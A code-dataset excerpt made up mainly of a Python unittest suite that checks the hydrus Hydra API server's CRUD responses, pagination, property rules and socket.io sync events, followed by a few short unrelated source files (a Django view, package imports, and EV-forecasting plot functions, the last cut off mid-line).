"""Test for checking if the response format is proper. Run test_crud before running this.""" import unittest import random import string import json import re import uuid from hydrus.app_factory import app_factory from hydrus.socketio_factory import create_socket from hydrus.utils import set_session, set_doc, set_api_name, set_page_size from hydrus.data import doc_parse, crud from hydra_python_core import doc_maker from hydra_python_core.doc_writer import HydraLink from hydrus.samples import doc_writer_sample from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker, scoped_session from hydrus.data.db_models import Base def gen_dummy_object(class_title, doc): """Create a dummy object based on the definitions in the API Doc. :param class_title: Title of the class whose object is being created. :param doc: ApiDoc. :return: A dummy object of class `class_title`. """ object_ = { "@type": class_title } for class_path in doc.parsed_classes: if class_title == doc.parsed_classes[class_path]["class"].title: for prop in doc.parsed_classes[class_path]["class"].supportedProperty: if isinstance(prop.prop, HydraLink) or prop.write is False: continue if "vocab:" in prop.prop: prop_class = prop.prop.replace("vocab:", "") object_[prop.title] = gen_dummy_object(prop_class, doc) else: object_[prop.title] = ''.join(random.choice( string.ascii_uppercase + string.digits) for _ in range(6)) return object_ class ViewsTestCase(unittest.TestCase): """Test Class for the app.""" @classmethod def setUpClass(self): """Database setup before the tests.""" print("Creating a temporary database...") engine = create_engine('sqlite:///:memory:') Base.metadata.create_all(engine) session = scoped_session(sessionmaker(bind=engine)) self.session = session self.API_NAME = "demoapi" self.page_size = 1 self.HYDRUS_SERVER_URL = "http://hydrus.com/" self.app = app_factory(self.API_NAME) self.socketio = create_socket(self.app, self.session) print("going for create doc") self.doc = doc_maker.create_doc( doc_writer_sample.api_doc.generate(), self.HYDRUS_SERVER_URL, self.API_NAME) test_classes = doc_parse.get_classes(self.doc.generate()) test_properties = doc_parse.get_all_properties(test_classes) doc_parse.insert_classes(test_classes, self.session) doc_parse.insert_properties(test_properties, self.session) print("Classes and properties added successfully.") print("Setting up hydrus utilities... ") self.api_name_util = set_api_name(self.app, self.API_NAME) self.session_util = set_session(self.app, self.session) self.doc_util = set_doc(self.app, self.doc) self.page_size_util = set_page_size(self.app, self.page_size) self.client = self.app.test_client() print("Creating utilities context... ") self.api_name_util.__enter__() self.session_util.__enter__() self.doc_util.__enter__() self.client.__enter__() print("Setup done, running tests...") @classmethod def tearDownClass(self): """Tear down temporary database and exit utilities""" self.client.__exit__(None, None, None) self.doc_util.__exit__(None, None, None) self.session_util.__exit__(None, None, None) self.api_name_util.__exit__(None, None, None) self.session.close() def setUp(self): for class_ in self.doc.parsed_classes: link_props = {} class_title = self.doc.parsed_classes[class_]["class"].title dummy_obj = gen_dummy_object(class_title, self.doc) for supportedProp in self.doc.parsed_classes[class_]['class'].supportedProperty: if isinstance(supportedProp.prop, HydraLink): class_name = supportedProp.prop.range.replace("vocab:", "") for collection_path in self.doc.collections: coll_class = self.doc.collections[ collection_path]['collection'].class_.title if class_name == coll_class: id_ = str(uuid.uuid4()) crud.insert( gen_dummy_object(class_name, self.doc), id_=id_, session=self.session) link_props[supportedProp.title] = id_ dummy_obj[supportedProp.title] = "{}/{}/{}".format( self.API_NAME, collection_path, id_) crud.insert( dummy_obj, id_=str( uuid.uuid4()), link_props=link_props, session=self.session) # If it's a collection class then add an extra object so # we can test pagination thoroughly. if class_ in self.doc.collections: crud.insert( dummy_obj, id_=str( uuid.uuid4()), session=self.session) def test_Index(self): """Test for the index.""" response_get = self.client.get("/{}".format(self.API_NAME)) endpoints = json.loads(response_get.data.decode('utf-8')) response_post = self.client.post( "/{}".format(self.API_NAME), data=dict(foo="bar")) response_put = self.client.put( "/{}".format(self.API_NAME), data=dict(foo="bar")) response_delete = self.client.delete("/{}".format(self.API_NAME)) assert "@context" in endpoints assert endpoints["@id"] == "/{}".format(self.API_NAME) assert endpoints["@type"] == "EntryPoint" assert response_get.status_code == 200 assert response_post.status_code == 405 assert response_put.status_code == 405 assert response_delete.status_code == 405 def test_EntryPoint_context(self): """Test for the EntryPoint context.""" response_get = self.client.get( "/{}/contexts/EntryPoint.jsonld".format(self.API_NAME)) response_get_data = json.loads(response_get.data.decode('utf-8')) response_post = self.client.post( "/{}/contexts/EntryPoint.jsonld".format(self.API_NAME), data={}) response_delete = self.client.delete( "/{}/contexts/EntryPoint.jsonld".format(self.API_NAME)) assert response_get.status_code == 200 assert "@context" in response_get_data assert response_post.status_code == 405 assert response_delete.status_code == 405 def test_Vocab(self): """Test the vocab.""" response_get = self.client.get("/{}/vocab#".format(self.API_NAME)) response_get_data = json.loads(response_get.data.decode('utf-8')) assert "@context" in response_get_data assert response_get_data["@type"] == "ApiDocumentation" assert response_get_data["@id"] == "{}{}/vocab".format( self.HYDRUS_SERVER_URL, self.API_NAME) assert response_get.status_code == 200 response_delete = self.client.delete( "/{}/vocab#".format(self.API_NAME)) assert response_delete.status_code == 405 response_put = self.client.put( "/{}/vocab#".format(self.API_NAME), data=json.dumps(dict(foo='bar'))) assert response_put.status_code == 405 response_post = self.client.post( "/{}/vocab#".format(self.API_NAME), data=json.dumps(dict(foo='bar'))) assert response_post.status_code == 405 def test_Collections_GET(self): """Test GET on collection endpoints.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: collection_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if collection_name in self.doc.collections: response_get = self.client.get(endpoints[endpoint]) # pdb.set_trace() assert response_get.status_code == 200 response_get_data = json.loads( response_get.data.decode('utf-8')) assert "@context" in response_get_data assert "@id" in response_get_data assert "@type" in response_get_data assert "members" in response_get_data # Check the item URI has the valid format, so it can be dereferenced if len(response_get_data["members"]) > 0: for item in response_get_data["members"]: class_type = item["@type"] if class_type in self.doc.parsed_classes: class_ = self.doc.parsed_classes[class_type]["class"] class_methods = [ x.method for x in class_.supportedOperation] if "GET" in class_methods: item_response = self.client.get( response_get_data["members"][0]["@id"]) assert item_response.status_code == 200 def test_pagination(self): """Test basic pagination""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: collection_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if collection_name in self.doc.collections: response_get = self.client.get(endpoints[endpoint]) assert response_get.status_code == 200 response_get_data = json.loads( response_get.data.decode('utf-8')) assert "view" in response_get_data assert "first" in response_get_data["view"] assert "last" in response_get_data["view"] if "next" in response_get_data["view"]: response_next = self.client.get(response_get_data["view"]["next"]) assert response_next.status_code == 200 response_next_data = json.loads( response_next.data.decode('utf-8')) assert "previous" in response_next_data["view"] break def test_Collections_PUT(self): """Test insert data to the collection.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: collection_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if collection_name in self.doc.collections: collection = self.doc.collections[collection_name]["collection"] dummy_object = gen_dummy_object( collection.class_.title, self.doc) good_response_put = self.client.put( endpoints[endpoint], data=json.dumps(dummy_object)) assert good_response_put.status_code == 201 def test_object_POST(self): """Test replace of a given object using ID.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: collection_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if collection_name in self.doc.collections: collection = self.doc.collections[collection_name]["collection"] class_ = self.doc.parsed_classes[collection.class_.title]["class"] class_methods = [x.method for x in class_.supportedOperation] dummy_object = gen_dummy_object( collection.class_.title, self.doc) initial_put_response = self.client.put( endpoints[endpoint], data=json.dumps(dummy_object)) assert initial_put_response.status_code == 201 response = json.loads( initial_put_response.data.decode('utf-8')) regex = r'(.*)ID (.{36})* (.*)' matchObj = re.match(regex, response["description"]) assert matchObj is not None id_ = matchObj.group(2) if "POST" in class_methods: dummy_object = gen_dummy_object( collection.class_.title, self.doc) post_replace_response = self.client.post( '{}/{}'.format(endpoints[endpoint], id_), data=json.dumps(dummy_object)) assert post_replace_response.status_code == 200 def test_object_DELETE(self): """Test DELETE of a given object using ID.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: collection_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if collection_name in self.doc.collections: collection = self.doc.collections[collection_name]["collection"] class_ = self.doc.parsed_classes[collection.class_.title]["class"] class_methods = [x.method for x in class_.supportedOperation] dummy_object = gen_dummy_object( collection.class_.title, self.doc) initial_put_response = self.client.put( endpoints[endpoint], data=json.dumps(dummy_object)) assert initial_put_response.status_code == 201 response = json.loads( initial_put_response.data.decode('utf-8')) regex = r'(.*)ID (.{36})* (.*)' matchObj = re.match(regex, response["description"]) assert matchObj is not None id_ = matchObj.group(2) if "DELETE" in class_methods: delete_response = self.client.delete( '{}/{}'.format(endpoints[endpoint], id_)) assert delete_response.status_code == 200 def test_object_PUT_at_id(self): """Create object in collection using PUT at specific ID.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: collection_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if collection_name in self.doc.collections: collection = self.doc.collections[collection_name]["collection"] class_ = self.doc.parsed_classes[collection.class_.title]["class"] class_methods = [x.method for x in class_.supportedOperation] dummy_object = gen_dummy_object( collection.class_.title, self.doc) if "PUT" in class_methods: dummy_object = gen_dummy_object( collection.class_.title, self.doc) put_response = self.client.put('{}/{}'.format( endpoints[endpoint], uuid.uuid4()), data=json.dumps(dummy_object)) assert put_response.status_code == 201 def test_object_PUT_at_ids(self): index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: collection_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if collection_name in self.doc.collections: collection = self.doc.collections[collection_name]["collection"] class_ = self.doc.parsed_classes[collection.class_.title]["class"] class_methods = [x.method for x in class_.supportedOperation] data_ = {"data": list()} objects = list() ids = "" for index in range(3): objects.append(gen_dummy_object( collection.class_.title, self.doc)) ids = "{},".format(uuid.uuid4()) data_["data"] = objects if "PUT" in class_methods: put_response = self.client.put( '{}/add/{}'.format(endpoints[endpoint], ids), data=json.dumps(data_)) assert put_response.status_code == 201 def test_endpointClass_PUT(self): """Check non collection Class PUT.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: if endpoint not in ["@context", "@id", "@type"]: class_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if class_name not in self.doc.collections: class_ = self.doc.parsed_classes[class_name]["class"] class_methods = [ x.method for x in class_.supportedOperation] if "PUT" in class_methods: dummy_object = gen_dummy_object(class_.title, self.doc) put_response = self.client.put( endpoints[endpoint], data=json.dumps(dummy_object)) assert put_response.status_code == 201 def test_endpointClass_POST(self): """Check non collection Class POST.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: if endpoint not in ["@context", "@id", "@type"]: class_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if class_name not in self.doc.collections: class_ = self.doc.parsed_classes[class_name]["class"] class_methods = [ x.method for x in class_.supportedOperation] if "POST" in class_methods: dummy_object = gen_dummy_object(class_.title, self.doc) post_response = self.client.post( endpoints[endpoint], data=json.dumps(dummy_object)) assert post_response.status_code == 200 def test_endpointClass_DELETE(self): """Check non collection Class DELETE.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: if endpoint not in ["@context", "@id", "@type"]: class_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if class_name not in self.doc.collections: class_ = self.doc.parsed_classes[class_name]["class"] class_methods = [ x.method for x in class_.supportedOperation] if "DELETE" in class_methods: delete_response = self.client.delete( endpoints[endpoint]) assert delete_response.status_code == 200 def test_endpointClass_GET(self): """Check non collection Class GET.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: if endpoint not in ["@context", "@id", "@type"]: class_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if class_name not in self.doc.collections: class_ = self.doc.parsed_classes[class_name]["class"] class_methods = [ x.method for x in class_.supportedOperation] if "GET" in class_methods: response_get = self.client.get(endpoints[endpoint]) assert response_get.status_code == 200 response_get_data = json.loads( response_get.data.decode('utf-8')) assert "@context" in response_get_data assert "@id" in response_get_data assert "@type" in response_get_data def test_IriTemplate(self): """Test structure of IriTemplates attached to collections""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: collection_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if collection_name in self.doc.collections: response_get = self.client.get(endpoints[endpoint]) assert response_get.status_code == 200 response_get_data = json.loads( response_get.data.decode('utf-8')) assert "search" in response_get_data assert "mapping" in response_get_data["search"] collection = self.doc.collections[collection_name]["collection"] class_ = self.doc.parsed_classes[collection.class_.title]["class"] class_props = [x.prop for x in class_.supportedProperty] for mapping in response_get_data["search"]["mapping"]: if mapping["property"] not in ["limit", "offset", "pageIndex"]: assert mapping["property"] in class_props def test_client_controlled_pagination(self): """Test pagination controlled by client with help of pageIndex, offset and limit parameters.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: collection_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if collection_name in self.doc.collections: response_get = self.client.get(endpoints[endpoint]) assert response_get.status_code == 200 response_get_data = json.loads( response_get.data.decode('utf-8')) assert "search" in response_get_data assert "mapping" in response_get_data["search"] # Test with pageIndex and limit params = {"pageIndex": 1, "limit": 2} response_for_page_param = self.client.get(endpoints[endpoint], query_string=params) assert response_for_page_param.status_code == 200 response_for_page_param_data = json.loads( response_for_page_param.data.decode('utf-8')) assert "first" in response_for_page_param_data["view"] assert "last" in response_for_page_param_data["view"] if "next" in response_for_page_param_data["view"]: assert "pageIndex=2" in response_for_page_param_data["view"]["next"] next_response = self.client.get(response_for_page_param_data["view"]["next"]) assert next_response.status_code == 200 next_response_data = json.loads( next_response.data.decode('utf-8')) assert "previous" in next_response_data["view"] assert "pageIndex=1" in next_response_data["view"]["previous"] # Test with offset and limit params = {"offset": 1, "limit": 2} response_for_offset_param = self.client.get(endpoints[endpoint], query_string=params) assert response_for_offset_param.status_code == 200 response_for_offset_param_data = json.loads( response_for_offset_param.data.decode('utf-8')) assert "first" in response_for_offset_param_data["view"] assert "last" in response_for_offset_param_data["view"] if "next" in response_for_offset_param_data["view"]: assert "offset=3" in response_for_offset_param_data["view"]["next"] next_response = self.client.get( response_for_offset_param_data["view"]["next"]) assert next_response.status_code == 200 next_response_data = json.loads( next_response.data.decode('utf-8')) assert "previous" in next_response_data["view"] assert "offset=1" in next_response_data["view"]["previous"] def test_GET_for_nested_class(self): index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: if endpoint not in ["@context", "@id", "@type"]: class_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if class_name not in self.doc.collections: class_ = self.doc.parsed_classes[class_name]["class"] class_methods = [ x.method for x in class_.supportedOperation] if "GET" in class_methods: response_get = self.client.get(endpoints[endpoint]) assert response_get.status_code == 200 response_get_data = json.loads( response_get.data.decode('utf-8')) assert "@context" in response_get_data assert "@id" in response_get_data assert "@type" in response_get_data class_props = [x for x in class_.supportedProperty] for prop_name in class_props: if isinstance(prop_name.prop, HydraLink) and prop_name.read is True: nested_obj_resp = self.client.get( response_get_data[prop_name.title]) assert nested_obj_resp.status_code == 200 nested_obj = json.loads( nested_obj_resp.data.decode('utf-8')) assert "@type" in nested_obj elif "vocab:" in prop_name.prop: assert "@type" in response_get_data[prop_name.title] def test_required_props(self): index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: if endpoint not in ["@context", "@id", "@type"]: class_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if class_name not in self.doc.collections: class_ = self.doc.parsed_classes[class_name]["class"] class_methods = [ x.method for x in class_.supportedOperation] if "PUT" in class_methods: dummy_object = gen_dummy_object(class_.title, self.doc) required_prop = "" for prop in class_.supportedProperty: if prop.required: required_prop = prop.title break if required_prop: del dummy_object[required_prop] put_response = self.client.put( endpoints[endpoint], data=json.dumps(dummy_object)) assert put_response.status_code == 400 def test_writeable_props(self): index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: if endpoint not in ["@context", "@id", "@type"]: class_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if class_name not in self.doc.collections: class_ = self.doc.parsed_classes[class_name]["class"] class_methods = [ x.method for x in class_.supportedOperation] if "POST" in class_methods: dummy_object = gen_dummy_object(class_.title, self.doc) # Test for writeable properties post_response = self.client.post( endpoints[endpoint], data=json.dumps(dummy_object)) assert post_response.status_code == 200 # Test for properties with writeable=False non_writeable_prop = "" for prop in class_.supportedProperty: if prop.write is False: non_writeable_prop = prop.title break if non_writeable_prop != "": dummy_object[non_writeable_prop] = "xyz" post_response = self.client.post( endpoints[endpoint], data=json.dumps(dummy_object)) assert post_response.status_code == 405 def test_readable_props(self): index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: if endpoint not in ["@context", "@id", "@type"]: class_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if class_name not in self.doc.collections: class_ = self.doc.parsed_classes[class_name]["class"] class_methods = [ x.method for x in class_.supportedOperation] if "GET" in class_methods: not_readable_prop = "" for prop in class_.supportedProperty: if prop.read is False: not_readable_prop = prop.title break if not_readable_prop: get_response = self.client.get( endpoints[endpoint]) get_response_data = json.loads( get_response.data.decode('utf-8')) assert not_readable_prop not in get_response_data def test_bad_objects(self): """Checks if bad objects are added or not.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: collection_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if collection_name in self.doc.collections: bad_response_put = self.client.put( endpoints[endpoint], data=json.dumps( dict( foo='bar'))) assert bad_response_put.status_code == 400 def test_bad_requests(self): """Checks if bad requests are handled or not.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: collection_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if collection_name in self.doc.collections: collection = self.doc.collections[collection_name]["collection"] class_ = self.doc.parsed_classes[collection.class_.title]["class"] class_methods = [x.method for x in class_.supportedOperation] dummy_object = gen_dummy_object( collection.class_.title, self.doc) initial_put_response = self.client.put( endpoints[endpoint], data=json.dumps(dummy_object)) assert initial_put_response.status_code == 201 response = json.loads( initial_put_response.data.decode('utf-8')) regex = r'(.*)ID (.{36})* (.*)' matchObj = re.match(regex, response["description"]) assert matchObj is not None id_ = matchObj.group(2) if "POST" not in class_methods: dummy_object = gen_dummy_object( collection.class_.title, self.doc) post_replace_response = self.client.post( '{}/{}'.format(endpoints[endpoint], id_), data=json.dumps(dummy_object)) assert post_replace_response.status_code == 405 if "DELETE" not in class_methods: delete_response = self.client.delete( '{}/{}'.format(endpoints[endpoint], id_)) assert delete_response.status_code == 405 def test_Endpoints_Contexts(self): """Test all endpoints contexts are generated properly.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: collection_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if collection_name in self.doc.collections: response_get = self.client.get(endpoints[endpoint]) assert response_get.status_code == 200 context = json.loads( response_get.data.decode('utf-8'))["@context"] response_context = self.client.get(context) response_context_data = json.loads( response_context.data.decode('utf-8')) assert response_context.status_code == 200 assert "@context" in response_context_data class SocketTestCase(unittest.TestCase): """Test Class for socket events and operations.""" @classmethod def setUpClass(self): """Database setup before the tests.""" print("Creating a temporary database...") engine = create_engine('sqlite:///:memory:') Base.metadata.create_all(engine) session = scoped_session(sessionmaker(bind=engine)) self.session = session self.API_NAME = "demoapi" self.page_size = 1 self.HYDRUS_SERVER_URL = "http://hydrus.com/" self.app = app_factory(self.API_NAME) self.socketio = create_socket(self.app, self.session) print("going for create doc") self.doc = doc_maker.create_doc( doc_writer_sample.api_doc.generate(), self.HYDRUS_SERVER_URL, self.API_NAME) test_classes = doc_parse.get_classes(self.doc.generate()) test_properties = doc_parse.get_all_properties(test_classes) doc_parse.insert_classes(test_classes, self.session) doc_parse.insert_properties(test_properties, self.session) print("Classes and properties added successfully.") print("Setting up hydrus utilities... ") self.api_name_util = set_api_name(self.app, self.API_NAME) self.session_util = set_session(self.app, self.session) self.doc_util = set_doc(self.app, self.doc) self.page_size_util = set_page_size(self.app, self.page_size) self.client = self.app.test_client() self.socketio_client = self.socketio.test_client(self.app, namespace='/sync') print("Creating utilities context... ") self.api_name_util.__enter__() self.session_util.__enter__() self.doc_util.__enter__() self.client.__enter__() print("Setup done, running tests...") @classmethod def tearDownClass(self): """Tear down temporary database and exit utilities""" self.client.__exit__(None, None, None) self.doc_util.__exit__(None, None, None) self.session_util.__exit__(None, None, None) self.api_name_util.__exit__(None, None, None) self.session.close() def setUp(self): for class_ in self.doc.parsed_classes: class_title = self.doc.parsed_classes[class_]["class"].title dummy_obj = gen_dummy_object(class_title, self.doc) crud.insert( dummy_obj, id_=str( uuid.uuid4()), session=self.session) # If it's a collection class then add an extra object so # we can test pagination thoroughly. if class_ in self.doc.collections: crud.insert( dummy_obj, id_=str( uuid.uuid4()), session=self.session) # Add two dummy modification records crud.insert_modification_record(method="POST", resource_url="", session=self.session) crud.insert_modification_record(method="DELETE", resource_url="", session=self.session) def test_connect(self): """Test connect event.""" socket_client = self.socketio.test_client(self.app, namespace='/sync') data = socket_client.get_received('/sync') assert len(data) > 0 event = data[0] assert event['name'] == 'connect' last_job_id = crud.get_last_modification_job_id(self.session) assert event['args'][0]['last_job_id'] == last_job_id socket_client.disconnect(namespace='/sync') def test_reconnect(self): """Test reconnect event.""" socket_client = self.socketio.test_client(self.app, namespace='/sync') # Flush data of first connect event socket_client.get_received('/sync') # Client reconnects by emitting 'reconnect' event. socket_client.emit('reconnect', namespace='/sync') # Get update received on reconnecting to the server data = socket_client.get_received('/sync') assert len(data) > 0 # Extract the event information event = data[0] assert event['name'] == 'connect' last_job_id = crud.get_last_modification_job_id(self.session) # Check last job id with last_job_id received by client in the update. assert event['args'][0]['last_job_id'] == last_job_id socket_client.disconnect(namespace='/sync') def test_modification_table_diff(self): """Test 'modification-table-diff' events.""" # Flush old received data at socket client self.socketio_client.get_received('/sync') # Set last_job_id as the agent_job_id agent_job_id = crud.get_last_modification_job_id(self.session) # Add an extra modification record newer than the agent_job_id new_latest_job_id = crud.insert_modification_record(method="POST", resource_url="", session=self.session) self.socketio_client.emit('get_modification_table_diff', {'agent_job_id': agent_job_id}, namespace='/sync') data = self.socketio_client.get_received('/sync') assert len(data) > 0 event = data[0] assert event['name'] == 'modification_table_diff' # Check received event contains data of newly added modification record. assert event['args'][0][0]['method'] == "POST" assert event['args'][0][0]['resource_url'] == "" assert event['args'][0][0]['job_id'] == new_latest_job_id def test_socketio_POST_updates(self): """Test 'update' event emitted by socketio for POST operations.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: if endpoint not in ["@context", "@id", "@type"]: class_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if class_name not in self.doc.collections: class_ = self.doc.parsed_classes[class_name]["class"] class_methods = [ x.method for x in class_.supportedOperation] if "POST" in class_methods: dummy_object = gen_dummy_object(class_.title, self.doc) # Flush old socketio updates self.socketio_client.get_received('/sync') post_response = self.client.post( endpoints[endpoint], data=json.dumps(dummy_object)) assert post_response.status_code == 200 # Get new socketio update update = self.socketio_client.get_received('/sync') assert len(update) != 0 assert update[0]['args'][0]['method'] == "POST" resource_name = update[0]['args'][0]['resource_url'].split('/')[-1] assert resource_name == endpoints[endpoint].split('/')[-1] def test_socketio_DELETE_updates(self): """Test 'update' event emitted by socketio for DELETE operations.""" index = self.client.get("/{}".format(self.API_NAME)) assert index.status_code == 200 endpoints = json.loads(index.data.decode('utf-8')) for endpoint in endpoints: if endpoint not in ["@context", "@id", "@type"]: class_name = "/".join(endpoints[endpoint].split( "/{}/".format(self.API_NAME))[1:]) if class_name not in self.doc.collections: class_ = self.doc.parsed_classes[class_name]["class"] class_methods = [ x.method for x in class_.supportedOperation] if "DELETE" in class_methods: # Flush old socketio updates self.socketio_client.get_received('/sync') delete_response = self.client.delete( endpoints[endpoint]) assert delete_response.status_code == 200 # Get new update event update = self.socketio_client.get_received('/sync') assert len(update) != 0 assert update[0]['args'][0]['method'] == 'DELETE' resource_name = update[0]['args'][0]['resource_url'].split('/')[-1] assert resource_name == endpoints[endpoint].split('/')[-1] if __name__ == '__main__': message = """ Running tests for the app. Checking if all responses are in proper order. """ unittest.main()

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1

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null

0

6

4133e1bc42983ea66207a46d56f8271c574d0112

44

py

Python

uvcgan/data/__init__.py

LS4GAN/uvcgan

376439ae2a9be684ff279ddf634fe137aadc5df5

[ "BSD-2-Clause" ]

20

2022-02-14T22:36:19.000Z

2022-03-29T06:31:30.000Z

uvcgan/data/__init__.py

LS4GAN/uvcgan

376439ae2a9be684ff279ddf634fe137aadc5df5

[ "BSD-2-Clause" ]

1

2022-03-09T17:23:30.000Z

uvcgan/data/__init__.py

LS4GAN/uvcgan

376439ae2a9be684ff279ddf634fe137aadc5df5

[ "BSD-2-Clause" ]

3

2022-02-14T22:36:41.000Z

2022-03-20T12:53:29.000Z

from .data import get_data, load_datasets

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1

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1

0

6

418f11b9be6d33797039dbd61fb14d0926c37b30

109

py

Python

study/views/articles.py

mekroket/Anchor

8aa0d6bd27940f048774535bdccf3f8cc8d6c8e4

[ "MIT" ]

null

study/views/articles.py

mekroket/Anchor

8aa0d6bd27940f048774535bdccf3f8cc8d6c8e4

[ "MIT" ]

null

study/views/articles.py

mekroket/Anchor

8aa0d6bd27940f048774535bdccf3f8cc8d6c8e4

[ "MIT" ]

null

from django.shortcuts import render def Makaleler(request): return render(request,"pages/articles.html")

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null

0

1

0

1

0

6

ec3a4d36be57570d5bb7802f6d6731dc57dbad46

167

py

Python

buildin_modules/pkg_practice/sample_import_pkg.py

Mason-Lin/python_playground

f6d3f194d48c94d43c0e416baa249755f4388bc9

[ "MIT" ]

null

buildin_modules/pkg_practice/sample_import_pkg.py

Mason-Lin/python_playground

f6d3f194d48c94d43c0e416baa249755f4388bc9

[ "MIT" ]

4

2020-09-18T11:49:14.000Z

2021-07-13T11:20:47.000Z

buildin_modules/pkg_practice/sample_import_pkg.py

Mason-Lin/python_playground

f6d3f194d48c94d43c0e416baa249755f4388bc9

[ "MIT" ]

null

from sample_pkg.sample_module import sample_func # from sample_pkg import sample_module if __name__ == '__main__': sample_func() # sample_module.sample_func()

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1

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6

ec3aad6e683ba1b1a032379b499034e2db78a870

3,660

py

Python

modelling/F1_plot_functions.py

ClimateSubak/EV-forecasting

941de21da95b36445dd794f3e13cf8193f7b15fd

[ "MIT" ]

5

2021-07-18T16:44:53.000Z

2022-03-21T09:37:08.000Z

modelling/F1_plot_functions.py

ClimateSubak/EV-forecasting

941de21da95b36445dd794f3e13cf8193f7b15fd

[ "MIT" ]

null

modelling/F1_plot_functions.py

ClimateSubak/EV-forecasting

941de21da95b36445dd794f3e13cf8193f7b15fd

[ "MIT" ]

null

import pandas as pd import geopandas as gpd import numpy as np import matplotlib.pyplot as plt import seaborn as sns def plot_single_msoa(y_train, y_test, y_pred,msoa): # Map Y-pred array to a dataframe with consistent indices to test set df_pred = pd.DataFrame(index=y_test.index) df_pred['ev_count'] = y_pred df_pred.head() fig, ax = plt.subplots(figsize=(10,5)) ax.plot(y_train.loc[msoa,:], color='k', label='Train') ax.plot(y_test.loc[msoa,:], color='b', label='Test') ax.plot(df_pred.loc[msoa,:], color='b', linestyle=':',label='Predicted') ax.set_xlabel('Date') ax.set_ylabel('EV Count') plt.xticks([min(y_train.loc[msoa,:].index), max(y_train.loc[msoa,:].index), max(y_test.loc[msoa,:].index)], rotation=45) plt.axvline(x=max(y_train.loc[msoa,:].index), color='k', linestyle='--') plt.legend() return ax def plot_dated_evdist(y_test, y_pred, msoas, date): idx = pd.IndexSlice # Map Y-pred array to a dataframe with consistent indices to test set df_pred = pd.DataFrame(index=y_test.index) df_pred['ev_count'] = y_pred ax = sns.distplot(df_pred.loc[idx[msoas,date,:]]['ev_count'], hist_kws={ 'rwidth': 0.85, 'edgecolor': 'black', 'alpha': 0.2}, label='Predicted') ax = sns.distplot(y_test.loc[idx[msoas,:]]['ev_count'], hist_kws={ 'rwidth': 0.85, 'edgecolor': 'black', 'alpha': 0.2}, label='Test') ax.set_title('Nonzero EV Distribution') plt.legend() return ax def plot_steady_evdist(y_test, y_pred, msoas): df_pred = 